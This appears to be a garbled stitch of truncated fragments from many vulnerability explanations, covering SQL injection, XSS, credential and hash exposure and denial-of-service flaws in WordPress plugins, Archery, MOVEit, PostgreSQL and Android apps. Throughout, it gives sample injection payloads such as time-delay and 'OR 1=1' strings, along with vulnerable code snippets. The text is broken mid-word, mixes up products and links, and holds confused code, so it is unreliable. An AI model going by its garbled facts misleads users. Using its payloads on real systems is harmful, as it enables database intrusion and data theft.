Id then attempt to crack the hashed passwords and use the stolen credentials to impersonate users or 2.0 of the software. The concern is that such decisions could either prevent deserving subjects from ac or grant access to unauthorized users. This is contrary to the intended use of the `LookupResources` fu iches of data confidentiality, integrity, and availability.

/ the patch.

en access or legitimate users are denied access, which is why it is not recommended to use `LookupRe uld also attempt to manipulate access control configurations to cause disruption by denying access to

354cccf7?source=cve

authorization mechanisms, potentially granting access to retrieve the entire contents of an application delay in response. If the delay is successful, it indicates that the database is vulnerable to SQL injection injected a SQL command `WAITFOR DELAY '00:00:05'` into the `date_from` parameter, which is design and any other data stored in the database, leading to breaches of confidentiality, financial loss, and d nts with parameterized queries, employing web application firewalls, and performing regular security iation of the vulnerability and may also offer remediation guidance or other relevant details.

racter on the add or edit User forms. This error could reveal the entire user row, including the pbkdf2::

/releases/tag/v4.3.2- https://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-jhpr-j ch might include sensitive information like the hashed password of the user. For example, a malicious word hashes. With the hashed passwords, the attacker might attempt password cracking to gain unaut um cache size limit to be significantly exceeded.

828 vulnerability, the effectiveness of this algorithm can be significantly reduced under certain attack i chives such as the oss-security list.

o the cache growing beyond its configured maximum size limit, potentially causing denial of service du he inflated cache database. This can impact clients relying on the server for DNS resolution, possibly d

properly deleted. This could lead to unauthorized access to sensitive data or credentials stored in the \

ssXC database session.

It is standard practice to confirm the identity of the user making such sensitive changes.

docs/#faq-yubikey-2fa', and a Medium article at '<https://medium.com/@cybercitizen.tech/keepassxc-1-unlocked-session>', they already have the capability to compromise the database in various ways.

aster password or having access to the second-factor device. Then, they could change the master password to retrieve contents or inject arbitrary FINS messages to execute commands or retrieve system information with version 1.16 or later.

andds without verifying their identity.

in without permission. This could lead to disruptions in industrial operations, data theft, and unauthorized access to the database.

data.

are advised to upgrade to these versions to mitigate the risk associated with this vulnerability.

:ware-releases-security-advisory-moveit-transfer-vulnerability- Progress Security Advisory: <https://www.progress.com/security-advisories/progress-moveit-transfer-vulnerability>

If the application is vulnerable and does not properly sanitize input, the malicious SQL code can be used to gain unauthorized access to the system.

authorized access to the system.

word hashing as it makes it possible to authenticate without needing to know the actual user password.

'with-password-hash-possible'.

event of database compromise, as the hash can be used directly to gain unauthorized access.

mines the effectiveness of this security measure.

without the need to crack the hash or obtain the plaintext password.

Apply security patches or updates provided by STARFACE as soon as they become available.

should then make unauthorized or malicious changes.

Security policy model, compromising the security and integrity of the managed systems.

je the database by deploying a tainted security policy model that disrupts operations or allows access

within the system, including viewing or modifying configuration settings, causing service disruptions, o

access to sensitive data such as customer, supplier, and employee information.

everaged by an attacker with network access to execute code with elevated privileges on the server.

; in a way that allows them to execute malicious code with higher privileges on the database managem
s of the database, which attackers could exploit by constructing malicious SQL queries, scripts, or by in

html'.

ta, insert fraudulent data, or perform unauthorized functions within the database.

ecise code snippet. The exploit would likely be structured as input that the tool mistakenly interprets a

execute custom code, potentially leading to remote code execution on the server hosting Apache NiFi. An unauthenticated attacker can manipulate and access the MOVEit Transfer's database contents without a exploit can be achieved without any form of authentication.

The nature and criticality of the data stored in the database.

on unable to retrieve or store data properly, leading to a persistent denial of service where legitimate users are unable to access the system. This could occur if the app fails to handle errors correctly or if it relies on external services that are down.

Vulnerability in the app's file permissions or handling to alter those files in order to elevate the attacker's privileges.

no longer access them, leading to a persistent denial of service where the app crashes or fails to function. This could happen if the app has a bug that causes it to crash when it tries to access files that it no longer has permission to.

prepared under one role and then executed under another. This issue would be most prevalent in the case where an administrator creates a common user and then reused across several role changes with the 'SET ROLE' command. Because there is a security policy in place to only allow users with the role 'trusted_user' to access it. An administrator defines a query under a lower-privileged role, the attacker could exploit the reuse of the previously planned query to gain elevated privileges.

www.postgresql.org/support/security/CVE-2023-2455/

ing to potential exploitation.

support security page (<https://www.postgresql.org/support/security/CVE-2023-2454/>).
ntegrity or availability. For example, an attacker could use this vulnerability to inject rogue functions o
ods used could include crafting a customized function or trigger that would then be run using the eleva

oentially allow an attacker to predict the output of the generator, leading to the decryption of traffic t

omising the security of the encryption.

gress DataDirect Connect for ODBC driver and the Oracle database server, thereby intercepting sensitiv
der' parameters, combined with the lack of proper SQL query preparation, which could allow authenti
a, disruption of service, or even a complete takeover of the affected application.
ulnerability.

tacker might inject a query like `ORDER BY CASE WHEN (SELECT * FROM wp_users LIMIT 1) THEN sleep(10)`.
two-factor authentication, regularly updating all plugins and WordPress core, and limiting administrati

ort by Wordfence detailing the threat and providing additional context and impact analysis.
ie construction of SQL queries. This vulnerability can be exploited by authenticated attackers with adm

d for illustration purposes):```php\$query = 'SELECT * FROM users ORDER BY ' . \$_GET['orderby'] . ' ' . \$_
queries that wait for a specific amount of time before responding, confirming that the injection was suc
eptimized queries or employing appropriate sanitization and validation techniques to prevent SQL inject
[org/browser/ldap-login-for-intranet-sites/trunk/class-mo-ldap-user-auth-reports.php?rev=2859403#L](https://github.com/moodle/moodle/blob/main/lib/auth/ldap/browser/ldap-login-for-intranet-sites/trunk/class-mo-ldap-user-auth-reports.php?rev=2859403#L)

il=#file3

hat includes additional SQL statements. Assuming the vulnerable parameter is 'post_id', an attack vect

queries, potentially leading to unauthorized access to sensitive data in the database.
like 'id=1 OR 1=1' appended to a legitimate request, which could force the database to return all recor

up-to-date information on any active exploitation.

caping on user-supplied 'objects' and 'tags' parameters. It also involves a lack of sufficient preparation queries to existing ones. This could be done in a way that assists in bypassing protections like addslashes

uthorized administrative actions on the website.

nerabilities/id/dc878508-200d-4bc7-aa99-c34e63cba4b3?source=cve.

; use a different plugin that provides similar functionality without known vulnerabilities.

en the victim visits the page, the malicious script is executed in their browser, leading to potential data

evel permissions, to inject arbitrary web scripts through the 'mf_last_name' shortcode.

ring. However, the attacker needs to craft a link with the form entry id and convince the victim to visit

/.

he attacker then shares a link to the page hosting the form with a submission id query string. When an u

including 3.3.0, thereby allowing an attacker to inject arbitrary web scripts.

I be stored in the site database unescaped. This script can then execute when a victim visits a page cor

ypress.org/browser/metform/trunk/base/shortcode.php?rev=2845078 and https://plugins.trac.wordf
ame'])' and echoed back into the page without being sanitized, creating a vector for XSS attacks.

b-9a4b-4dee-8023-d7863dc3b4c8?source=cve

elements, enabling website owners to gather information from visitors through submissions.

m visits a link containing a specific form entry ID. However, the execution of the JavaScript requires th
e site database.

attacker injects a script tag that will be executed when rendered on the page. Please note, this is a hy
ting additional security measures such as content security policies (CSP) to mitigate the risk. Regularly
ink that displays the submission tied to the form entry ID, the unescaped script would execute, potent

ence threat intelligence vulnerability details at '<https://www.wordfence.com/threat-intel/vulnerabilities>'
ted versions up to, and including, 1.6.6 and allowed unauthenticated attackers the ability to alter any \

<https://www.wordfence.com/threat-intel/vulnerabilities>&new=2456786%40ulisting&sfp_email=&sfph_mail=- https://www.wordfence.com/threat-intel/vulnerabilities and perform operations that are supposed to be restricted, like changing site URLs, inserting malici

status_email_status_fun. It is critical because it can be exploited by attackers with customer-level access, including website defacement, creation of administrative accounts, or altering site behavior.

fbaf0b1a049?source=cve'.

less sensitive information or disrupt the operations of the WooCommerce store by modifying shipping rules to prevent exploitation, like limiting the ability of customer accounts to make changes.

This issue affects all versions up to, and including, 1.6.6 of the plugin, enabling unauthenticated attackers to change any WordPress

2.

on checks and modify sensitive options in the WordPress database, such as the site URL, which could compromise the website. This vulnerability affects all versions up to and including 1.6.6 of the plugin.

<https://www.wordfence.com/threat-intel/vulnerabilities/multiple-critical-vulnerabilities/> and <https://www.wordfence.com/threat-intel/vulnerabilities/id/10b7a>. The issue involves a vulnerability where an unauthenticated attacker can inject SQL syntax intended to manipulate the SQL query used by the plugin. The unvalidated input can be used to execute arbitrary SQL commands, potentially compromising the website completely, depending on the data exposed and the configuration of the database and website. While a detailed description of the exploit is not available in the provided details, one may need to check updated security advisories for more information. This issue affects all versions up to and including 1.6.6 and allows unauthenticated attackers to retrieve the list of all users and sensitive user information including email addresses without needing to bypass authentication systems, thus compromising the privacy and security of the users.

ny available updates for the uListing plugin.

This issue affects all versions up to and including 1.6.6 of the plugin, enabling unauthenticated attackers to change any WordPress

The issue affects all versions up to and including 1.6.6 of the plugin, enabling unauthenticated attackers to change any WordPress

This issue affects all versions up to and including 1.6.6 of the plugin, enabling unauthenticated attackers to change any WordPress

If a password database is being used for authentication, the attacker could log in with the updated credentials and gain full access to the database and potentially elevate their privileges.

In the logs, they can extract the database password and gain unauthorized access to the database. <https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-qpx8-wq6q-r833>

Environment, could also impact other users' data. The compromise may result in a range of issues and content, as well as executing SQL commands that could modify or eliminate database elements. This applies to older unsupported versions.

lements due to the SQL injection vulnerability. Such a flaw could allow the attacker to obtain sensitive information and lead to further attacks such as privilege escalation, identity theft, or propagation of the compromise.

'SQL-Injection.html', as well as on the official Progress Community page '<https://community.progress.com/t/SQL-Injection.html>'. This lack of proper preparation in the existing SQL queries, potentially allowing authenticated attackers with control over user input, the attacker's code could be executed, allowing them to modify the database queries and perform unauthorized actions.

This vulnerability database at <https://www.wordfence.com/threat-intel/vulnerabilities/id/d831fa81-4714>

```
$query = "SELECT * FROM some_table WHERE post_id = " . $_POST['post_id'];$result = $wpdb->get_results($query);
```

Permissions can also help in preventing exploitation of such vulnerabilities.

ation's UI. When a large amount of this crafted data is injected, it can cause an Out of Memory (OOM) error.

, detailed Markdown documentation on GitHub at <https://github.com/LianKee/SO-CVEs/blob/main/CVE-2023-29724.md>

Attacker to perform an escalation of privilege attack.

What might be executed when the app is used.

GitHub under the repository '<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29724.md>

the affected app's database. Once the permission is granted, the unauthorized app could alter the data or change preferences. Additionally, app developers should ensure proper access controls and permission checks are in place to prevent unauthorized users from injecting malicious code, or change preferences in a way that escalates its privileges without the user's knowledge.

reating a persistent denial of service attack.

In the case of the Unicorn Wallpaper app, these URLs would be loaded into the app's UI. Over time, as more data is injected, it could lead to an escalation of privilege attack.

sed to manage the user's personal preferences. This is a common vulnerability in mobile apps.

Access to a database that they are not intended to access.

Potentially leading to unauthorized access to sensitive data or the ability to perform malicious operations.

https://www.contec.com/jp/api/downloadlogger?download=-/media/Contec_security_chs_230531_en.pdf

https://www.contec.com/jp/api/downloadlogger?download=-/media/Contec/jp/support/security-info/contec_security_chs_230531_en.pdf

With this information, the attacker might log in to the database and view, copy, or modify sensitive data. In a worst-case scenario, the attacker could gain administrative privileges.

Potentially affected apps on the Google Play Store are provided: <https://play.google.com/store/apps/details?id=com.icoolme.android.weather&hl=en>.

The app is described as being incompatible with Android 10 and above, which makes it a potential target for exploitation.

The app has a rating of 3.5 stars and over 100,000 reviews.

The app is described as being incompatible with Android 10 and above, which makes it a potential target for exploitation.

The app has a rating of 3.5 stars and over 100,000 reviews.

ils?id=com.icoolme.android.weather'.

by inserting or modifying critical system data. This could lead to unauthorized actions being performed by apps that only trusted and necessary apps have elevated privileges.

not triggering alarms.

ing, leading to a situation wherein the user misses critical reminders or wakes, effectively causing a delay in the alarm. You can find the app's details for the Alarm Clock for Heavy Sleepers app at <https://play.google.com/store/apps/details?id=com.icoolme.android.weather&hl=en>.

:0detail.md, and the app's listings on Google Play Store at <https://play.google.com/store/apps/details?id=com.icoolme.android.weather&hl=en>.

elopers should restrict access to the app's database files to prevent unauthorized access and code execution files to run unauthorized code that escalates their privileges, possibly gaining access to sensitive data and functionality of the Call Blocker application.

/google.com/store/apps/details?id=com.cuiet.blockCalls and the application's official website at <http://www.cuiet.com>.

rror and causing the application to crash. This issue can lead to a persistent denial of service.

rror, which ultimately causes the application to crash. This attack can be repeated, causing a persistent denial to crash and prevent it from recovering, resulting in a persistent denial of service.

are expected to be loaded into memory on application start. For instance, the attacker might use SQL injection limits, and other security enhancements to prevent the injection of excessive data into the application. You can find the app's details for the Call Blocker app at '<https://play.google.com/store/apps/details?id=com.cuiet.blockCalls&hl=en>', and the official Call Blocker website at '<https://www.cuiet.com>'. An attacker can inject dirty data into the database. This undermines the functionality and reliability of the app and can lead to a persistent denial of service.

ve sensitive data from the database or manipulate the data, leading to a potential compromise of the system. This exploit allows an attacker to extract data from the Xibo database by inserting specially crafted values for logical operators.

permissions of the database user that the Xibo CMS uses. The exploitation requires some level of access to the database and the Xibo Signage blog.

Including 2.3.17 and 3.3.5. The issue stems from a case-sensitive filtering mechanism that could be bypassed.

instead of a deny list using a case-sensitive check. By utilizing unusual combinations of character casing (for example, uppercase letters), an attacker can bypass filters for sensitive data, confidential business information, or authentication details, leading to further attacks such as account takeovers.

URLs are as follows:- Claroty Team82 Disclosure Dashboard: <https://claroty.com/team82/disclosure-dashboards/>

the CVE was created or publicly disclosed.

files, potentially causing the application to crash and lead to a denial of service.

storage. They could alter, corrupt, or delete the database files, leading to a situation where the application fails to start or becomes unresponsive.

missions than intended, allowing it to access sensitive user data or system resources that should be restricted.

<https://nvd.cisa.gov/ghsa-qffq-8gf8-mhq7>.

automated to make it more efficient, ultimately causing a denial of service.

```
'd = new String(new char[1000000]).replace(' ', 'a');NameValuePair[] data = { new NameValuePair('use'
```

↳ Google Play Store page for the app (<https://play.google.com/store/apps/details?id=com.wave.keybo>)
this vulnerability.

ata manipulation, or in some scenarios, complete control over the database.

↳ '\$unsafe_variable' contains user input that is directly used in an SQL query without proper sanitization.
paid when it hasn't been, among other harmful activities.

ies, providing a potential attack vector for adversaries to guess the correct HMAC key through careful inspection.
len(signature) != len(expected_signature): return False result = 0 for a, b in zip(signature, expected_signature): if a != b: result += 1 if result > 1: raise ValueError("Signature mismatch") return result

s signature validation. Once the key is obtained, they could forge authorization signatures to manipulate

ously as they could lead to information disclosure.

ence of unauthorized access to sensitive data.

possible to provide code examples.

ources may offer more context on the vulnerability and the vendor's perspective.

ork configurations, or any other data that is not intended to be publicly accessible. It's essential to note

wait for the application to be upgraded.

ial exploitation of this particular SQL injection vulnerability.

process, the application may execute a SQL command involving the index name, inadvertently running

nation in a file or on the disk.

promise if an attacker gains access to the stored files.

personal journal entries, login credentials, or any other private data handled by the app.

riety.

QLite JDBC library, results in the execution of unauthorized code on the victim's system.

1 of the attacker's code. Another scenario might involve an application that accepts user input to const

nledge, such as altering database settings or triggering unwanted actions within the plugin.

uthorized actions like modifying database clean-up settings or executing clean-up actions without the heck for updates from the plugin author. Additionally, they should be cautious of phishing attempts ar :abase. Through this vulnerability, attackers can view, add, modify, or delete information in the databa ould execute SQL code that the database management system runs. This might allow them to retrieve e information, the theft of intellectual property, alteration of financial records, disruption of service, a

test applying input validation, parameterized queries, and prepared statements to protect against SQL , but the affected versions did not check this requirement sufficiently, potentially allowing unauthoriz the data returned by queries.

_ snippets.

e/pull/30853- <https://github.com/metabase/metabase/pull/30853>- https://github.com/metabase/me snippet included logic for what data should be visible to that user, the user could potentially modify it

of user input in the interface.

se.

:an manipulate the query logic to gain unauthorized access to database information. Note that this is j! rords, system settings, or sensitive corporate data.

first 12 bytes are derived from a baselv and the last 4 bytes from the length of the log line being encry al tool such as `gpg`.

decrypt audit log entries.

graphic nonces (https://en.wikipedia.org/wiki/Cryptographic_nonce).
lusion) and apply brute force techniques to decrypt the log lines. Once decrypted, sensitive information is exposed, enabling them to perform code execution on the database server via a specific vulnerable parameter. Gaining a command shell implies potential for extensive control over the affected system.

Code execution on the database server.

Potentially installing malware or creating new user accounts with administrative privileges. This level of access could manipulate the query logic to access or alter database information. As this is strictly an example, imagine interacting with the underlying SQL databases and manipulate company records.

Connection strings.
, such as creating, updating, or deleting records, effectively circumventing the established role-based access controls to prevent such unauthorized modifications.

An attacker could also use the database to allow the attacker to arbitrarily write to files on the system.

Systems are at risk.

This could lead to arbitrary files being overwritten. For example, the attacker could include a file in the tarball named 'advisories/GHSA-hgm9-2q42-c7f3'.
This could be achieved by a coding error that did not properly validate POST request parameters and failed to check for errors before processing them. An attacker could then view, modify, or delete sensitive information in the database, carry out administrative operations, or even exploit the system to gain full control.

SQL injection is a common vulnerability from being exploited. It occurs when user input is directly inserted into a SQL query without proper sanitization. For example, consider the following SQL query:

```
SELECT * FROM users WHERE email = 'admin@site.com' AND password = 'password';
```

In this case, the 'password' field contains the value 'password', which is a common password. An attacker could exploit this by sending tailored POST requests with SQL injections, leading to potential unauthorized access to the database.

Software installations may be affected if they cannot upgrade immediately.

Denial of service (DoS) attacks can also be used as a springboard for further attacks on the network.

For example, an attacker could send a large number of requests to a specific page, causing the server to become overwhelmed and respond slowly or even crash.

Denial of service (DoS) attacks can also be used as a springboard for further attacks on the network. For example, an attacker could send a large number of requests to a specific page, causing the server to become overwhelmed and respond slowly or even crash. This is known as a "DoS" attack. It can be used to disrupt normal traffic on a network by overwhelming the target with a flood of unwanted data packets.

manipulate database contents, execute arbitrary code, and possibly compromise the underlying system (0791708bf25791786d776e2fb0250), and the security notice from NetApp at '<https://security.netapp.com/>'.

information such as Industrial Control System (ICS) and Operational Technology (OT) data, as well as SMS integrity, and availability of the affected systems.

critical industrial infrastructure.

use error messages returned by the PostgreSQL database to infer the structure of the database and extraction' function.

cess, data breaches, or further attacks leveraging the compromised credentials.

latabase connection passwords. With this information, they could gain unauthorized access to the database via VTAdmin, which causes errors when creating new shards and issues when viewing the keyspace. This becomes impossible. This disrupts the normal management and operational tasks within Vitess when

ent corresponding to your topology service.

new shards or viewing the keyspace. Such an attack could effectively cause a denial of service (DoS) via `Shard` -> Specifying a shard name with a `/`, such as `new/shard`, resulting in the unsuccessful creation of new shards and retrieving passwords.

Insecurely and retrieving them for malicious use.

<https://www.nozominetworks.com/external-reports/> and <https://www.nozominetworks.com/blog/>.

in credentials to execute arbitrary SQL commands on the back-end database, potentially leading to the

on vulnerability.

records, altering configurations, or extracting confidential data.

XSS flaw could potentially be exploited against users with high privileges, such as administrators.

formed on the website.

Potentially leading to actions being taken on the website with the admin's privileges. This could include

le of what NOT to do.
if (isset(\$_GET['search_term'])) { // Unsafe echoing of a GET parameter without
to SQL injection attacks. This vulnerability has been present since at least version 0.9.0 of Log4cxx, which
ly done through a configuration file; and at some point, the application logs user input. If an applicatio
DBC connections but also works with other databases. It's important to note that after upgrading, the config
er params here ...</appender>``And here is the updated, secure configuration that mitigates the vulnerabilitie
es such as unauthorized data access, data manipulation, or in worst-case scenarios, complete control can be
mitigation.

Check Ranger Hive Plugin versions 2.0.0 through 2.3.0 are enabled. It is recommended to upgrade to newer ver

ions if you do not have permission to manage.

attacker to change permissions, manipulate data, execute unauthorized queries, or gain control over the system.

read, modify, or delete sensitive data. Since no specific code example of the vulnerability is given, it's not clear how it can be exploited, potentially limiting the ability of an attacker to exploit this vulnerability.

Security issues.

Not affected.

This could potentially allow the attacker to escalate privileges, manipulate database operations, and gain control over the system.

information.

38606- Fedora Project mailing list announcements providing security update details.

Regarding this CVE.

The 'com.fedoraproject.ranger.Connections' class and the 'getGlobalConnection' method. This could potentially enable a user to

database connection details.

nces may include more details about the vulnerability disclosure and its impact.

etl.mngr.Connections' class to retrieve sensitive information about the database connections established by attackers to decrypt sensitive information.

ngs, which could be further used to compromise the application's databases, conduct unauthorized transaction with a decryption tool or script to reveal plaintext passwords and connection strings. Security weakness could potentially allow attackers to gain access to the SQL database.

ain sensitive information, including login credentials to the SQL database.

f the system's vulnerabilities.

result in sensitive data exposure, database corruption, or a data breach. Another scenario could involve the software's optional Web Screens and Global Search features.

ed access and control over the software, potentially resulting in data breaches or other security incidents. Address the issue.

y known, any malicious party with knowledge of the key could exploit the vulnerability remotely if they patches promptly to protect against known vulnerabilities.

ta' folder on the connected server. This could allow them to view or modify credentials of Sage 300 users

eate, update, and delete records in the database and even execute code on the database server, depending on the user rights assigned.

Employee manipulates file permissions or content, allowing them to gain access to and modify the credentials AMPDBUSER, AMPDBPASS, AMPMGRUSER, and AMPMGRPASS in the global variable list. It allows attackers to use the command :/variable?variable=AMPDBPASS to retrieve these credentials in plaintext, granting unauthorized access to the system.

The attacker could potentially move laterally within the network if the credentials provide access to other systems. Mitigation steps include patching the software, updating user permissions, and monitoring network traffic for unusual activity.

ge of data for the Contiki File System (CFS) backend, located in the file os/storage/antelope/storage-cf.c. The vulnerability occurs when reading data from memory beyond the buffer size. An attacker might exploit this to induce undefined behavior, including crashes or, in the worst case, arbitrary code execution that could allow the attacker to take control of the affected device.

'm/contiki-ng/contiki-ng/pull/2425' can provide additional details and the patch for the vulnerability.

database within the same instance. The vulnerability was given an IBM X-Force ID of 252011.

[com/support/pages/node/6985691](https://www.prestashop.com/support/pages/node/6985691).

nstance. For example, the attacker could deploy a crafted SQL procedure or trigger that executes code

nts, they could bypass usual security controls to alter product listings, manipulate prices, or even creat

eaching the data integrity and confidentiality of the affected tenants.

potentially expose critical information to unauthorized users.

e.

ad the contents of the `/etc/passwd` file, potentially exposing user credentials.

lation, or lateral movement within the affected system.

<https://github.com/PrestaShop/PrestaShop/commit/d900806e1841a31f26ff0a1843a6888fc1bb7f81>, and <https://github.com/Pr>

ith this information in hand, the attacker can potentially gain unauthorized access to the databases, as

manipulates the database in unintended ways.

ltering records, or damaging the database structure.

/instance.py` `param_edit` endpoint where the user-supplied `variable_name` and `variable_value` p

se, and potentially gain access to the underlying server or network infrastructure.

fely concatenated into a SQL query which, when executed, could allow the attacker to manipulate the

'/github.com/hhyo/Archery/security/advisories/GHSA-6mqc-w2qp-fvhp'.

ndpoint into SQL queries. This input is later executed by database engines, such as MSSQL and Oracle, andle user input, leading to SQL injection vulnerabilities.

rite_query(query)```In 'sql/engines/oracle.py':```def get_group_tables_by_db(db_name): query = f"SE methods prevent the SQL engine from executing user input as part of the SQL command.

the database, escalate privileges, or execute arbitrary commands within the context of the database s
itization. This allows attackers to potentially execute arbitrary SQL queries on the connected database
entations within Archery, namely `sql/engines/mssql.py` and `sql/engines/oracle.py`.

interfere with the SQL statement structure.

elf, db_name, tb_name): query = "SELECT * FROM " + db_name + "." + tb_name + " WHERE some_cor
uthorized actions within the connected databases. Since the vulnerable methods are associated with rel
Archery on GitHub: <https://github.com/hhyo/Archery/security/advisories/GHSA-9pvw-f8jv-xxjr>. These

ed without proper sanitization.

ie attacker to perform unauthorized actions such as data retrieval, updating, or deletion, depending on
the database. The payload would be processed by the `optimize_sqltuningadvisor` method within `sql`.

escaped or when prepared statements aren't used.

name + """ cursor.execute(query) # Possible SQL injection```Instead, the code should use parameterized

t sensitive data, delete records, or drop tables if they successfully exploit the SQL injection vulnerabilit

ssed to the `explain_check` method in `sql/engines/oracle.py`, specifically from the `db_name` param

```
plain_check(db_name)# Malicious user input db_name = "dummy_db' OR '1='1" # Resulting SQL query  
tabase.3. Privilege Escalation: If the SQL injection leads to control over database server commands, th
```

ed databases.

```
me, full_sql): query = "SELECT * FROM " + db_name + " WHERE id = " + full_sql results = db_engine
```

ers, the attacker could potentially query, modify, or delete data in the connected databases, based on †

.11, 6.2.12, and 6.0.19.

is used as a primary component in a larger application, the crash can lead to secondary failures in depe
lar to `HINCRBYFLOAT myhash field 1.0E300`, where `1.0E300` (or another large float value) could poten
ora, as well as advisories from vendors like NetApp.

r authorization. This could include modifying sensitive financial records, accessing private customer information, or compromise Oracle Database Recovery Manager through network access via Oracle Net.

: Database Recovery Manager component, causing it to hang or crash repeatedly, thereby disrupting database availability. For Oracle Database 12c Release 1 (12.1.0.2) and Oracle Database 12c Release 2 (12.1.0.3), users should refer to official advisories and patch their systems accordingly.

rs a web console, the vulnerability could potentially be exploited through web-based attacks without requiring user interaction.

cmdline` endpoint of the metrics service. This could potentially leak sensitive information if the metric values are transmitted over an unencrypted connection. Metrics, and those configuring the preshared key via environment variables, are not affected by this vulnerability. The preshared key is set during the SpiceDB invocation. This includes the sensitive `--grpc-preshared-key`, which could be used to compromise the system. To mitigate this risk, disable the metrics service entirely using the flag `--metrics-addr` (e.g., `--metrics-addr=localhost:9090`).

- Commit: <https://github.com/vitessio/vitess/commit/7d76b6eaba33fe0236014f9b175d21232999> - The SpiceDB release notes for version 1.19.1: <https://github.com/vitessio/vitess/releases/tag/1.19.1>

ments used to start SpiceDB, revealing the value of the `--grpc-preshared-key` flag. This could look like:

actions successfully.

ce_name>` with the actual name of the keyspace you want to delete. Note that this is a potential solution for long-running operations. This could be used as a means to hamper database operations and administration.

- Commit: <https://github.com/vitessio/vitess/commit/adf10196760ad0b3991a7aa7a8580a544e6ddf8>

nfo data, it can lead to security-relevant memory corruption.

erable ncurses version is installed.

n vendors.

:ther terminal utility that reads terminal settings on startup: ```#include <ncurses.h>`int main() { initscr();

out proper authorization.

rnality, or lead to unauthorized data modification or retrieval.

1. This could be done, for example, by accessing a URL on the Jenkins server that corresponds to the re networks and users, and continuously monitor for updates from Jenkins regarding this security issue. checked. To exploit this vulnerability, an attacker would need to guess an order number. base. However, they must first successfully guess an order number to carry out the attack. ding to unauthorized data manipulation or disclosure.

int of the ShipStation.com plugin. The request would include SQL injection payloads aiming to manipulations such as statistics or reports to extract all data from the database and, in some cases, write a wek ld be considered a high-severity issue, depending on the actual ease of exploitation and the potential

of the vulnerability until an upgrade is possible.

This could possibly grant attackers full control over the affected server.

GHSA-2c7r-gf38-358f'.

ture. This would allow the attacker to retrieve sensitive data from the database undetected. If conditi gin could allow an attacker to perform an LDAP injection attack, leading to leakage of arbitrary attribut

abase. By exploiting this vulnerability, the attacker could potentially gain access to user credentials or alate the LDAP query, altering its logic or structure. This could lead to unauthorized disclosures of infor

bility: <https://github.com/mastodon/mastodon/blob/94cbd808b5b3e7999c7e77dc724b7e8c9dd2bdecde>, which is used for creating isolated virtual LANs in container clusters. Encrypted overlay networks o ans that application traffic, including potentially sensitive secrets or user data, can be read by an attac

e is available on all nodes of the Swarm cluster can help enforce the security measures that are bypass sensitive data that the attacker could read or manipulate. This situation poses a significant risk, especi VI). However, the affected versions of Moby failed to correctly apply the necessary iptables rules due t nitization of certain parameters when configuring the MSSQL plugin locally. This allows an attacker to

ity of the data stored in the affected HashiCorp Vault instance.

guration-file/52080/1 and <https://security.netapp.com/advisory/ntap-20230526-0008/>.

licious SQL code. If successful, the attacker can manipulate the underlying MSSQL database backend, v

rver admin alert may include the plaintext database password.

hen backups are initiated.

n the associated database.

would result in the server attempting to execute it and failing, possibly causing it to display an error in the database and the application settings.

sensitive data, configuration files, and system files, which could result in compromised server integrit

ions, such as the pgAdmin settings file or even database files, leading to unauthorized changes to other

parameterized queries, an attacker could provide the following input in an admin panel's search field: ' OR 1=1' to sensitive user information, altering records, dropping tables, or carrying out other unauthorized database operations without their consent. This vulnerability was addressed in version 9.23.3 of Directus.

Compromises within the Directus-managed systems.

The hash 349536303983ccba68ecb3e4fb35315424011afc.

occur.

In a repository for Directus.

ces of `directus_refresh_token` which were not adequately redacted. With these tokens, the attacker can

the user.

promise the security and functionality of an application, leading to unwanted changes or exposure of

unauthorized actions or data theft by attackers who exploit the vulnerability to deliver malicious script

ijacking, and other malicious activities.

<https://github.com/directus/directus/pull/3495> and <https://moodle.org/mod/forum/discuss.php?d=44370> take a variety of actions, such as stealing cookies or session tokens, redirecting the user to a malicious website. Users and administrators of the impacted software should apply the update as soon as it is available, modifying, or deleting information in the back-end database.

and availability of the data.
Input validation.

l to the SQL database engine, the attacker's code could be executed, leading to unauthorized actions such as deletion or modification of data stored in the database.

depending on the database.

Look out for any unusual activity to preemptively detect exploit attempts.

data, and potentially gaining control over the database server or the server's system processes. For example, if an application has a URL like `/alphaware/details.php?id=1`, an attacker could modify this to `/alphaware/details.php?id=1' OR '1='1`. This would allow the attacker to execute arbitrary SQL commands on the database, serving as a launchpad for further attacks within the network, such as planting backdoors, deploying malware or exfiltrating sensitive data. It's important to note that this exploit requires the attacker to have at least basic privileges on the database, such as permitting authenticated users with minimal permissions to potentially inject additional SQL statements.

Attackers can also manipulate the 'banner_id' parameter by sending a specially crafted request like `'1 OR 1=1--`. This would result in the banner being displayed even if it's not supposed to be shown, potentially causing damage or compromise.

Another common example of SQL injection is found in the WordPress plugin 'WP Popup Banners'. According to a Wordfence threat intelligence report, the plugin has a vulnerability where user input is not properly sanitized before being used in a SQL query. An attacker could inject malicious SQL code. If successful, the attacker could modify the query to exfiltrate user credentials, perform database modifications, or delete data.

SQL injection attacks can lead to data corruption, corruption, or unauthorized manipulation. They can also compromise the underlying system.

It's important to note that this is a conceptual example. In reality, SQL injection attacks are often more complex and involve multiple steps to gain access to the database and execute the desired actions.

ly allow the attacker to alter the current user session and access unintended data, leading to a high im

result in altering the current user session and gaining unauthorized access to sensitive data that they

makes hashed passwords more susceptible to cracking than intended.

of the password storage process.

are not secure and need to be replaced with securely hashed ones.

sensitive information.

nd the commit that fixes the vulnerability, as well as articles and cheat sheets discussing good practice

L.0.0-beta.3 or earlier to crack the user's password. This could be achieved through methods like rainbow tables.

Authorized access to various components within the backup infrastructure, leading to the compromise Knowledge Base at the specified link (<https://www.veeam.com/kb4424>) for further instructions on how to control measures.

Since there are no access controls, if the backups are stored within a web-accessible directory, the attacker can extract argon2 password hashes. This was possible in versions prior to 9.16.0. The vulnerability still poses a risk as it leads to the enumeration of password hashes.

The attacker could iterate through the alphabet and other characters, effectively brute forcing the system's advisories/GHSA-m5q3-8wgf-x8xf (Directus security advisory)

`guard_get_manual_modal` function that can be invoked via an AJAX action. This flaw allows individuals

tion that reveals this information.

could be used for further attacks or malicious activities.

ail= and a vulnerability report from Wordfence: <https://www.wordfence.com/threat-intel/vulnerabilities/>. A hacker would obtain data about the website's database tables. The information gained could include tak

stemming from the use of query parameters in the reset URL.
ain, effectively conducting phishing attacks.
ite scripting (XSS) attack.

is/pull/17120, and the security advisory at <https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h>.
hence the nature of the attack is related to constructing URLs that include malicious query parameter:

er without proper validation. The attack can be conducted remotely and has already been disclosed to
launch attacks remotely.

sitive data, and spreading malware. Since the issue permits remote exploitation, attackers do not need to

